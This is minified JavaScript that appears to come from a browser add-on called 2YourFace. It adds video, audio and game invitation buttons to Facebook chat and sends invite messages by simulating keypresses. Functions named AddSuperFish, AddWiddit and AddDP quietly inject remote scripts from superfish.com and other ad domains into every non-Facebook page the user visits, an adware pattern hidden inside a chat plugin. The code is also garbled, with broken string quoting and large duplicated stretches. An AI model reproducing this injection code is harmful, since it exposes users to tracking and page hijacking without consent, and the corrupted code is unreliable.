Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" 